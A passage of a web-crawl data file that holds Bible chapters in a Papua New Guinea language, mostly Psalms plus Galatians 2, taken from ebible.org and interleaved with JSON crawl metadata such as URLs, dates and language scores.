Ata momo mila nedik ateren. La nedi di lotu parav i mi lebelendi axap dina sosoro. 4 Atat pas parap Leeme Silok atdik kusu ti lok ka leveloklok tooro, la ata lotu parap amisix i. 5-6 Nemi livipisik li at ne Abaram, laradi gugu at ne Moroa, la nemi livipisik li at ne Jakop, mo laradi ne Moroa ga soxolik ka i. Minam doma aklen ti lempanga sangsangu ne Moroa ga lox i, la mo levenmumuat neni ga raba limixin munepen min.\n7 Leeme Silok neni ne Moroa atdik. La mo levempapaase ali ren ti limixin axap at na lavatbung menemen. 8 At levenaleng axap i tu melamgo neni naba tu at lekabus teren, la naba lox epovo mo leveng kakaape ren tinedi larabin sangaun kobot laraola, mo naba vot melemu. 9 Neni naba doma amisik livirivit li ni ga lox i mi ne Abaram la mo laxakaape ren ti ne Isak. 10 Leeme Silok ga lok lekabus mi ne Jakop, mo lekabus ua naba nemen amisik la noxo xap. 11 Ni ga lok ti ne Jakop keretna, \"Nia anaba raba u mi na lenep silok Kanan, la na lenep kangka naba nemen ngan ataram axa.\"\n12 Limixin at ne Moroa di goxo buaang, la diga nemen kadiong ngan lavaose to at lenep silok Kanan. 13 Diga vovo saasaa onon mun at levennep silok uto at levennep silok petpes, la at lara kitkis orong silok uto at lara kitkis orong silok petpes. 14 Ketla ne Moroa goxo ke xepe ba tara gita lox abaava nedi. Neni ga lok see atnedi, la ga sak pinak lavaorong silok mi levelinga i lok keretna, 15 \"Nemen gat mita lox asongot limixin soksoxolik tarak. La nemen gat bok mita lox asongot lavaeme vapaase ali rak.\"\n16 Leeme Silok ga riki asi lean kangking ti mo lenep kangka at limixin teren, la leveluxa atdi gara xap pam. 17 Ketla neni ga riki amgo lara laradi uto Isip, laasen teren ne Josep, mo diga sesep min kusu naba ravasu ngan lasaxaruki go. 18 Diga xoxo alis luxangkedek teren mi lemparoos sen, la diga vaxa onga i mi loxon aen. 19 Josep ga nemen ngan laradi xokoxo, ga se ap mo laaleng lavapaase ali ren ga soorun. Levelinga at Leeme Silok ti ne Josep ga lox asuusu i do neni goxo raba rulu i. 20 Loorong me Isip ga soxomus asu i, ni lamgomgo at levenabung mixin buaang la ga lox asepmus i. 21 Neni ga lok li ne Josep kusu nam gomgonga lagavaman teren. La ga lok li box i ri lok tatao mavana ap mo lenep silok Isip. 22 Ni ga ruuna lolos mavana atdi lentaba luvuttadi amgomgo at loorong la gak lok ka bok levelinga ren kusu ti anasa luvuttadi vapaase at loorong.\n23 Melemu ne Jakop eburu mi limixin teren diga beles ukeneng Isip, la digara nemen ta go ap mo lenep silok. 24 La Leeme Silok ga lox avosok aleng nedi go, la ga lok nedi diga lolos aleng tinotno ri limixin munepen midi. 25 Neni ga lok limixin me Isip diga bele mumuat ti limixin teren, nedi lavasaxaruki ren. La leme Isip diga xarang arup amisik di.\n26 Melemu Leeme Silok ga riki ne Moses, lasaxaruki ren uto ri limixin teren, la ga riki bok ne Aron, mo neni ga soxolik ka i. 27 Duga lok leveloklok katling at ne Moroa kantubu atdi, la lempanga sangsangu bok teren keneng at lenep silok Isip. 28 Neni ga riki lamain bonot la ga lox amain axap mo lenep kangka. Ketla leme Isip move diga ronga xepe levelinga ren. 29 Neni ga vuk gili laradan atdi ri lada, la laxanmat axap digara met. 30 La lenep kangka atdi ga umsu mi laxangkoak, mo digat los beles bok uto xeneng at lengkot mikmidi at lubung amgomgo. 31 La ne Moroa ga tong i, la laxanulang mi laxan ngirobo diga umsu aleng ap mo lenep silok axap.\n32 La ni ga lok pe larakabu ketla ga riki lavatbet uat eburu mi lavanga ga mam, ukeneng ap mo lenep silok atdi. 33 La ni gak paksa asi larauna vaen atdi, eburu mi larauna pik (fig) bok la ga lox asubu bok larauna axap. 34 Neni ga tong mun i la, laxasixu diga vot, ga buaang aleng la di goxo epovo rinotno kusu ti exes di, 35 diga van axap lempanga ga suusu at laxangka. La diga van axap bok lempanga digat lotlo i. 36 Neni ga sev amet axap laxamdak temes avot keneng at lara kitkis koetemen to Isip.\n37 Melemu neni ga lam asu limixin me Israel, digap kip ka laxa siliva la gol at leme Isip, la nedi axap diga rooro nunuan la diga lolos. 38 Limixin me Isip diga momo aleng at limixin me Israel diga vas kaxat basinge di, mila diga marat aleng atdi. 39 Moroa ga vung pavaa nedi mi loxontakabu kusu ti lok tatao di, la lababao at laxao ti raba nedi mi laxasep at lengkanimin. 40 Diga sing ne Moroa, la neni ga raba nedi mi levempixa (quail) kusu tidi ri anan, la ga raba avan mais nedi mi lengkide boro vana at laxalibet. 41 Neni ga lox arem suang lara lavaruat, la ladan ga rem soobang su ukamang. Ga ngan lavatdan sen la ga sesen go xeneng at lamatbin. 42 Mila neni gam doma mo laxakaape xaala ren, ga raba i ri ne Abaram, laradi gugu ren.\n43 Kerepmo neni ga lam asu limixin soksoxolik teren basinge lenep silok Isip, mi langsangan lososoro, la digak pixan la digap kup momo. 44 Neni ga raba nedi mi lenep kangka at lentaba levenabung mixin petpes, la digara ruuna ka nga leventaamang atdi, 45 kusu limixin teren diba ronga res at levempapaase ali ren, la dina mumu asu Laulis Linga la leventaangas axap teren.\nLeemi asu ri Leeme Silok.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA105.htm","date":"2022-05-24T09:40:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662570051.62\/warc\/CC-MAIN-20220524075341-20220524105341-00380.warc.gz","language":"mmx","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 1.0000096559524536}","num_words":980,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.323,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"28\nLisingising Ti Loklok Tooro\n1 O Leeme Silok, nenu Lentupe ria, na nia a ro ke ram! Una ronga lanteng tarak! Dola u noxo ronga ia, nenia anaba lok ngan nedi diba si uto xopok at lemenemen at labarongan. 2 Una ronga ia at loxonaleng nia anang teng saparav u ri loklok tooro, la at loxonaleng ana xip aurut lukngak ti loogu laplavang taram i xaala aleng. 3 Nemen gat uta lii lumumuat tarak at loxonaleng u vaase asi limixin kakapmek, la eburu minedi dik lok libilinga. Nedi limixin levelinga atnedi ik sixit nunuan, ketla lodoxoma atdi i umsu mi loklok kakapmek.\n4 Una lox asongot nedi mumu leveloklok kakapmek atnedi eburu mi lempanga bilinga digara lok pam i. Una lox asongot nedi mumu xa leveloklok atnedi, la una raba bok nedi mi luunun i epovo at loklok atdi. 5 Kopmen dina ven kisip levempanga Leeme Silok gara lok pam i, kopla at levempanga neni ga rudum li i. Kuren la ni naba lox asongot di la naba sele utut kepe axap tino di.\n6 Leemi asu ri Leeme Silok, atla ni ira ronga ka vam lanteng tarak ti loklok tooro. 7 Leeme Silok ik lok see rak, la i tupe ia. Labalak it kis saga ren, neni im taba ia mi loklok tooro, la ik lox amomo box ia. A tong avukat tin mi livikpixan momo.\n8 Leeme Silok ik lok see at limixin teren la neni i lok ngan lenban tidi, la ik lox asepsu mo loorong ni ga soxolik ka i. 9 Leeme Silok, una lox asepsu limixin taram, la una lox anarong nedi limixin manmanton taram. Una nemen ngan laradi loklok tatao sipsip tinedi, la mo loklok tatao ram noxo xap.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA028.htm","date":"2022-05-20T02:01:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662530553.34\/warc\/CC-MAIN-20220519235259-20220520025259-00764.warc.gz","language":"mmx","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000096559524536}","num_words":276,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.225,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"126\nLisingising Ti Leeme Silok Ti Sang Kobot\n1 Gase Leeme Silok ga lam asu amlong nema limixin kokoxo uto Saion, maga nunua i do magam tobo mun. 2 Kuren la magang longon aleng mi leklek, la magak pixan momo aleng. La levenabung mixin petpes diga lok keretna, \"Leeme Silok ga lox anarong solo vam nedi.\" 3 I ruturun do Leeme Silok ga lok lempanga silok tinama, kuren la maga umsu mi lomomo.\n4 Leeme Silok, una lox asang kobot amu manga nama kerekngan larakabu ik lox aumsu amu laradan to at lamatbin Negev. 5 Ma vara i xusu mana lok ngan mun nedi digat pas titlotlo la digang teng. Ketla uga lok tooro di kusu dinak lok momo at levenaleng dina sepkin. 6 Nedi digat pas la digap kip levennit piao titlotlo i la digang teng. Melemu diga laa boro at leventaamang la digak pixan momo mi lempanga anan atnedi.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA126.htm","date":"2022-05-16T12:40:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662510117.12\/warc\/CC-MAIN-20220516104933-20220516134933-00603.warc.gz","language":"mmx","language_score":0.9999907017,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.999990701675415}","num_words":144,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.243,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"58\nLisingising Ti Ne Moroa Na Lox Asongot Limixin Kapmek\n1 Nemi luvuttadi amgomgo. Kereva, mi lox akmokso levelinga at limixin mi loklok i nunuan? Kereva, mi ronga avukat levelinga atnedi la mi tu xantubu? 2 Kopmen tino. Mi doxoma mene ri leveloklok kakapmek mi lok do mina lox i, la mik lox asongot aleng limixin mede Israel.\n3 Limixin kakapmek dik lok laxakapmek at levenaleng axap at lorooro atdi. Di paase asu amisik levelinga xaxarang, ga ruka axa i at levenaleng diga visik di ren. 4 Di lok ngan laxasii angkang atla mo levelinga xaxarang atnedi i umsu mi losomamao. La di lok ngan bok lisii xapmek di so asen i mi la Kobra, ua kopmen na ronga levelinga 5 la ing tonga xepe laxaka at laradi leklen at laxasii ik pixan kusu lisii naba tii, kopla at laradi ikleklen aleng levesangsanga.\n6 O Moroa, una sak pirivit kepe leven gisangsa atnedi di lok ngan lubunglaion. 7 Naba lox avukat do dina sonao ngan laxadan i sesen su axap, la dina lok ngan levempivilis dit pas amling i ro at langas. 8 Naba lox avukat dina lok ngan levendemdem i remet la i rap sopso. La di lok ngan bok lamdak mumulum nenen i visix amer i la kopmen bok ba na ven laxasep at laxangking. 9 Kovisi dinaklen i, la una lok kepe di ngan lempivilis di vixis asi i. Moroa, una mas kepe di mi lolos at lebelemamao ram do nedi move dina rooro.\n10 Limixin manmanton dinaba momo dola dina ven ne Moroa na lox asongot limixin kakapmek. La dinabat pas beles mi leveng kangkedek atdi ro xeneng at lada at limixin kakapmek, mo ne Moroa naba sev amet di. 11 La melemu limixin dinaba tong i do, \"I ruturun do limixin manmanton dik lok kaka leveloklox anarong boro at ne Moroa. La i ruturun tinotno do ne Moroa mo i nemen la i viila mumu loklok at limixin at na lavatbung menemen.\"","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA058.htm","date":"2022-05-16T06:04:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00217.warc.gz","language":"mmx","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000096559524536}","num_words":315,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.39,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"103\nLabalamu At Ne Moroa\n1 Labalak, una emi asu mi Leeme Silok! Lorooro axap tarak, una emi asu mi laasen kaala ren! 2 Labalak, una emi asu mi Leeme Silok, la uguta domampe na leveloklox anarong ik lox asuusu i. 3 Neni i doxoma xepe lengkakapmek axap tarak la ni i lok kepe levenanmeres axap tarak. 4 Ik lox asepsu ia basinge lamaaut la ik lox anarong ia mi labalamu la lebelen tuntun. 5 Ik suxa lorooro rak mi lempanga avukat, kusu anaba nemen ngan laau la ana lolos ngan lamaalom.\n6 Leeme Silok i tu at lenep at limixin baava la ik lox asepmus nedi ua limixin di lox asi di. 7 Neni ga lox asuusu leven doxoma ali ren ti ne Moses la ni ga lok leme Israel kusu dina ven leven gugu lolos teren. 8 Leeme Silok neni laradi at lebelen tuntun la labalamu, la ixok belemamao soso ketla i umsu mi labalamu lexen. 9 Ni noxo paase lolos amisik, la lebelemamao ren noxo nemen amisik. 10 I epovo xusu atap kip ka leveloklox asongot teren, ketla neni xopmen nak lox asongot nedik na epovo mi levengkakapmek atnedik. La ixo porang leveng kakapmek la leveloklok bilinga atdik.\n11 La labalamu ren i urut aleng upana at lamavangkap mavana at lavatbung menemen la kerepmo labalamu ren i silok aleng tinedi ua dit kis esogo min. 12 La ik lok kepe leveloklok bilinga atdik uto vaxalom tino, i ngan utonak at lemeren laxangking la utois kopok tino. 13 I ngan ne temen laxamdak mi laxaalik i lox asuusu lebelen tuntun tidi. I lok ngan bok Leeme Silok i lox asuusu lebelen tuntun tinedi ua dit kis esogo min. 14 Neni iklen i do ga rudum dik mi lavanga salai. Iklen i do nedik laxakup mene nga.\n15 Kuren la nedik, lorooro atnedik i lok ngan mun lempivilis. Nedik ta suusu la ta tepoposok ngan levempusuvus aaxa. 16 La lamanman it mas i la ira vaxap manga, la ata noxo ven ka bok ba i. 17 Ketla nedi di mumu asu Leeme Silok, labalamu ren ik lox amisik mavana atnedi. La luvukat teren ik lox amisik tinedi lavaola axap, 18 la tinedi bok di ruturun ti lekabus teren la ding tonga res tuturun amisik at levempapaase ali ren.\n19 Leeme Silok ga vuxaxis li loxot kitkis teren to vana at laxalibet. La neni i ngan Loorong Silok mavana at lempanga axap. 20 Nemi lubung angelo lolos, mina emi asu mi Leeme Silok. La nemi bok ua ming tonga res at levempapaase ali ren, la ming tonga lempanga neni i tong i. 21 Nemi limixin lolos axap to vana at laxalibet, mina emi asu mi Leeme Silok. La nemi bok lavasaxaruki ren no mik lok leven gugu mu asu lavavara ren. 22 Nemi lempanga vipis axap teren at lengkot axap neni ik lok gomgo ren, mina emi asu mi Leeme Silok.\nLabalak, una emi asu mi Leeme Silok!","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA103.htm","date":"2022-05-16T05:23:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00538.warc.gz","language":"mmx","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"mmx_Latn_score\": 1.000009298324585}","num_words":465,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.258,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nPol Eburu Mi Leventaba Lavaun Pavang Bok\n1 * Gu 15:2Ga melemu at lasangaun mi lavanuet maares, agamlong manga uto Jerusalem eburu mi ne Banabas, la ne Taitas bok ga emu minema. 2 Agat pas ugo atla, ne Moroa xa ga vaase i ria xusu anat pas ugo. La keneng at lara lixitkis buru atnama mi lubung amgomgo kusuk mun, nenia aga soxomus Lagale Lavavang a vavang min ti limixin kopmen di me Judaia. Nia aga lox i na xusu dina siam mu mo lugugu rak. Lavanga no lugugu avot tarak la anaa lugugu at na levenaleng na subu. 3 * Gu 16:3Ketla diga siam mu levelinga atnama mi ne Taitas, laradi loklok tooro rak. Neni laradi xopmen i me Judaia, la di goxo tong i do ni na vit kepe toxontuxu ren. 4 * Ga 1:7; 5:1,13Ketla leventaba diga vara i xusu dina vit kepe lengkontuxu at luvuttadi nunu xopmen di me Judaia. Digak lok labala ngan nedi luvuttadi nunu la nedi na lemet tadi digak beles mun at libinam atnema ngan luvuttadi vereven ali. La diga vavara mun i xusu dinang long terek lesepsepmus tinotno basinge Laulis Linga, nema magak lok kaka i xeneng at ne Iesu Karisito. Diga vara mun i xusu dinak lok ka nema ukeneng at leveloklok atnedi, la manak lok maxopok at leventaangas at Laulis Linga. 5 Ketla nema ma goxo ronga res atnedi at tekonaleng, atla ma goxopara i xusu mana lok lodoxoma atnemi na xipgas la mina doma xepe Lagale Lavavang i ruturun.\n6 * Gu 10:34Tinedi no limixin di tong di do lubung amgomgo at lotu, nenia axo doma solo i do nedi di silok kopla xopmen. Atla ne Moroa xopmen na viila mumu leveloklok at tara mi levereven teren. Nedi di goxo vaase bok ba tekolinga mavana at lavavang tarak. 7 * Gu 22:21Ketla nedi diga ven kibis i do ne Moroa ga raba ia mi lugugu silok ti paase asu Lagale Lavavang ti limixin kopmen nedi me Judaia, ga lok ngan pam neni ga raba bok pam ne Pita mi lugugu silok ti vavang mi Lagale Lavavang ti limixin me Judaia. 8 Moroa ga lox alolos ne Pita xusu neni laradi vavang ti limixin me Judaia la kerepmo bok neni ga lox alolos ia xusu nenia laradi vavang ti limixin kopmen di me Judaia. 9 * Jo 1:42La ne Jems, ne Pita la ne Jon, nedi na lubung angkipkip at lotu, diga ven kibis i do ne Moroa ga raba nema mi ne Banabas mi na lugugu i lok petpes tinotno. Kuren la diga etep tikngen minama mi ne Banabas, ga lok ngan loklok katling do nema axap ma ruuna legesa gugu mene nga. La diga lok lisisiam do nema mi ne Banabas, manaba gugu xantubu at limixin kopmen di me Judaia, la nedi dinaba gugu ro at leme Judaia. 10 * Gu 11:29-30La nedi diga vara i xusu nema mana doxoma bok levempakpakes at limixin banbalo kantubu atnedi, nenia aga ruuna lodoxoma liplivi rinotno ri lok na lavanga.\nPol Ga Vaase Lolos Ti Ne Pita Ro Antiok\n11 Ketla at loxonaleng ne Pita gat pas uto Antiok, nenia aga vaase tangarang tinotno i at lemeren e, atla ga xasep tinotno do neni ga soogong. 12 * Gu 11:3At lara laaleng ne Jems ga riki lentaba luvuttadi nunu me Judaia ugo. Avot ti lovotpot atdi, ne Pita nga no garak lok pam la gara vaanan eburu mi limixin kopmen di me Judaia. La melemu at loxonaleng na luvuttadi me Judaia diga vot, neni goxo an eburu bok ba minedi. Atla neni ga marat at Laulis Linga at leme Judaia mumu loklok ti ke laanan eburu mi limixin kopmen di me Judaia, la neni ga anan eburu mi luvuttadi no di goxo vit kepe lengkontuxu atdi. 13 La nedi bok mo leme Judaia me go Antiok, digara lok ngan bok laxampanga makmarat ngan bok ne Pita. La ne Banabas bok gara mu asu bok nedi la nedi axap diga soogong.\n14 Kuren la at loxonaleng nia aga ven i do nedi di goxo mu asu langas mokmokso mi luruturun at Lagale Lavavang, aga vaase ri ne Pita ro melamgo rinotno atnedi axap keretna, \"Nenu laradi me Judaia, ketla nenu nom e, u mumu asu leveloklok at limixin kopmen di me Judaia, la uxop tuvuk ngan laradi me Judaia. Kuren la ua lavasuun teren la u sat ka limixin kopmen di me Judaia xusu dina mumu asu leveloklok at leme Judaia?\"\nLimixin Di Roo Su Mumu Mun Lununu Atnedi\n15 Limixin me Judaia di tong i xeretna, \"Nema limixin me Judaia, la nema xopmen mana ngan nedi limixin kopmen di me Judaia dixo mumu asu Laulis Linga.\" 16 * Gu 15:10-11; Ro 3:20-28; 4:5; 11:6; Ga 3:11Ketla nema leme Judaia maklen i do, laradi mun i nunu at ne Iesu Karisito, neni mun i sepmus basinge loklok kakapmek, la kopmen do i mumu asu Laulis Linga. La kerepmo bok ma nunu at ne Iesu Karisito xusu manaba sepmus basinge loklok kakapmek, kopmen do ti mumu asu Laulis Linga. Anaa kopmen noxo ravasu at loklok ti mumu asu Laulis Linga, atla kopmen teta naba sepmus basinge loklok kakapmek do neni na mumu asu mun Laulis Linga.\n17 La amo do nema ma doma i do mana lok kepe Laulis Linga la mana sepmus basinge loklok kakapmek keneng at lununu atnema saparap ne Karisito, anai naba lox asuusu i do nema limixin ma ruuna laxakapmek mila ma lok kepe vam Laulis Linga. Kereva ba, lununu saparap ne Karisito i lok nema ngan luvuttadi xapmek, kuren la ne Karisito i lox asu laxakapmek? Kopmen tinotno. 18 Do nenia anamlong ti loklok at Laulis Linga no nenia aga lok kepe i, anaba lox asuusu i xeretna do nenia laradi rongtonga xepe at Laulis Linga. 19 * Ro 7:6Lavasuun at na xeretna. Laulis Linga ga lox ase ia do nenia laradi xapmek, kuren la aga lok ka lununu maxat la aga sepmus ba basinge Laulis Linga. La monga nia a epovo na rooro ti lok lugugu at ne Moroa. 20 * Jo 13:1; Ga 1:4I lok ngan ta do diga vaxarem ia eburu mi ne Karisito ro at laxaba. La kopmen nenia xa na a rooro, ketla ne Karisito axa na i rooro xeneng tarak. La lorooro nenia ak lok keneng teren, ni lorooro mi lununu keneng at ne Nitna ne Moroa, la neni ga balamu ia la ga raba lorooro ren kusu na uu nop loklok tarak. 21 Nenia a xopara i xusu ana sok tixirixes letaba nabalamu at ne Moroa. Do taradi na doma i do neni naba sepmus basinge loklok kakapmek mumu lumumu asu ren at Laulis Linga, i milik ngan ta keretna do, goxopmen tavasuun ti lanmet at ne Karisito.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/GAL02.htm","date":"2022-05-29T11:25:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662644142.66\/warc\/CC-MAIN-20220529103854-20220529133854-00342.warc.gz","language":"mmx","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"mmx_Latn_score\": 1.0000088214874268}","num_words":1080,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15\nLoklok Ne Moroa I Vara I\n1 Leeme Silok, nege i epovo na vubeles at loogu xaala ram? Nege i epovo na nemen eburu minu ro Saion at lakaana xaala ram?\n2 Neni laradi i mumu asu lavavara at ne Moroa at leventaangas axap, la ik lox amisik leveloklok in manton la levelinga ren i ruturun amisik. 3 La kopmen ni na paase asi taasen at tara ukopok. Kopmen na lok tibilinga ri larapen tangas teren, kopla na paase mumu nedi dik lox auret tin. 4 Neni i rexes nedi no ne Moroa i raba rulu nedi. Ketla neni ip kiv aurut levenasen atnedi di mumu asu levelinga at Leeme Silok. Ik lox epovo amisik leveng kakaape ren, keke i do i lolos aleng tin, ni ixo epovo na ke xepe i. 5 Im taba levendinau, ketla kopmen dina porang i mi luunun i volo. Ixo epovo do tara na un i mi tevempilas kusu na vaxaru taradi manmanton at tavapaase.\nLaradi i mumu asu na leveloklok, lixitkis teren naba nemen matmatkun.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA015.htm","date":"2022-05-16T05:29:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00250.warc.gz","language":"mmx","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000065565109253}","num_words":167,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.311,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"112\nLomomo At Laradi Nunuan\n1 Leemi asu ri Leeme Silok.\nLuvukat ti mo laradi im taba asinorong Leeme Silok, la i lok momo aleng ting tonga res at levempapaase ali at ne Moroa. 2 Laxamdak mi laxaalik teren dinaba ruuna levenasen silok go at lenep kangka ramtaba la Leeme Silok naba lox anarong livipisik li ren. 3 Nedi loxoetemen dinaba ngasang kobot at laxampanga solo la dinap novos aleng. La at levenaleng axap i tu melamgo di noxok pakes bok ba ti tempanga.\n4 Do lamain na vot, laxasep mo ik lok ti laradi manmanton. La ik lox asuusu lebelen tuntun, loklox anare, la loklok ik mokso rin. 5 Luvukat nabat pot ti mo lara im taba gamasa, la ik lok mo lugugu pilas teren mi lomokmokso. 6 Lugugu ap mo laradi avukat noxo subu, la limixin bok di noxo domampe i.\n7 Neni noxo marat ba at tevelinga mumu tumumuat boro vetpes neni i ronga i, mila lununu ren i lolos la i nunu saga at Leeme Silok. 8 Leveve ren ira xus pam, la neni kopmen na marat at tempanga. I nunu do ne Moroa naba sak tup mi limixin munepen min. 9 Neni im taba leventamtaba solo mi lebelemulus ti limixin banbalo. La amisik ik lox asuusu labalamu ren ti limixin. La naba ruuna laasen silok la limixin dina lok ngangao aleng teren. 10 La limixin kapmek dinaba ven i la dina musak, la dinabak milik angtungun tin. Ketla levenasen silok atdi ba si aleng tino la mo levendoxoma agagas atdi kopmen noxo soorun tinotno.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA112.htm","date":"2022-05-16T04:55:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00568.warc.gz","language":"mmx","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 1.000008463859558}","num_words":248,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.29,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"20\nLisingising Ti Lok Tooro Loorong At Leesep\n1 Ma sing Leeme Silok, ni ne Moroa at ne Jakop, do ni naba ronga ram dola una ekip tangarang mi lumumuat, la naba lok see ram! 2 Ma sing box i do loklok tooro ru naba laa boro xeneng at loogu laplavang teren, la loklok tooro bok tu naba vot boro Saion at lakaana ren. 3 Ma sing box i do ni naba siam ka ampana letaba ram, la ni naba momo rino bok mi levelaplavang taram. 4 Ma sing box i do ni naba raba box u mi lempanga ung kongkat tin, la ni naba lox asoxos levendoxoma gagas taram. 5 Do Leeme Silok na lox epovo na levesingising la una sak tup mi limixin munepen minu, manabap kup mi lomomo, la manaba lok katling i mi leemi asu ri ne Moroa. Ma sing Leeme Silok naba lox asoxos axap levesingising taram.\n6 Na nia aklen i do Leeme Silok im taba lolos ti loorong soksoxolik teren kusu ti sak tup mi limixin munepen min. Neni i paase porang levelinga ro at loxot melemelengan teren keneng at lebelen laxalibet at ne Moroa. At lolos axa ren neni im taba i mi lolos avolo aleng ti sev asi limixin munepen. 7 Leventaba di nunu saga at leveng karis esep atnedi, la leventaba di nunu saga laxanos atdi. Ketla nedik ta nunu saga at lolos at Leeme Silok, ni ne Moroa atdik. 8 Limixin kerepmo dinaba vas kais la dina subu, ketla nedik tanaba xatu upana la manaba tu tuxuruxun.\n9 O Leeme Silok, una raba lolos ti loorong kusu na sak tup mi limixin munepen min. La una ronga atnema do mana toro ke ram.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA020.htm","date":"2022-05-16T05:46:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00596.warc.gz","language":"mmx","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000067949295044}","num_words":274,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.263,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"85\nLisingising Ti Lebelen Tuntun At Leeme Silok\n1 Leeme Silok, ugara lox asuusu vam lebelen tuntun tinema limixin taram me Israel. Ugara lok pam nema la uga lox asang kobot amu manga nama. 2 Ugara doxoma xepe vam lengkakapmek atnema limixin taram la ugara gos kepe vam levesoogong atnama.\n3 Lebelemamao ram tinama ga xap tino la uga rebeng alis amlong mo lebelemamao sesele utut taram.\n4 O Moroa, nenu Laradi Loklox Asepsu atnema, monga una rebeng ka amlong manga nema basinge levenmumuat, la na xap ta u ri belengatngas amisik tinema! 5 Kereva, unabak belemamao amisik ta nema la noxo xap? Kereva, mo lebelemamao ram noxo xap ta? 6 Una lox alolos amu manga nema, kusu nema limixin taram manaba emi asu minu. 7 O Leeme Silok, una lox asuusu mo labalamu lexen taram, la una lok tooro nema xusu manaba sepmus.\n8 Nenia ang tonga lempanga Leeme Silok ne Moroa i paase i. Neni i xaape mi lenmila ridik limixin akmokso ren, mo do ata xomlong ti loklok tangtangku atnedik. 9 Tuturun tinotno do neni i gagas kusu tik lox asepsu nedi dim taba asen silok tin, la mo loklok tooro ren naba nemen amisik eburu minedik at na lenep kangka atnedik.\n10 Labalamu eburu mi luruturun at ne Moroa dunaba vot eburu kantubu atnedik. La loklok manmanton eburu mi lenmila ren dunabak lok bok. 11 Limixin mede xopok dinaba ruturun ti ne Moroa, la ne Moroa naba lox asuusu loklok manmanton teren boro vana at laxalibet ti limixin mede xopok. 12 Leeme Silok naba lox asang kobot amu manga dik, la lenep kangka atnedik naba lox asuusu leveluxa dangdangun avukat. 13 At lengkot axap Leeme Silok it pas teren, loklok manmanton naba umsu la kerepmo langas i gagas 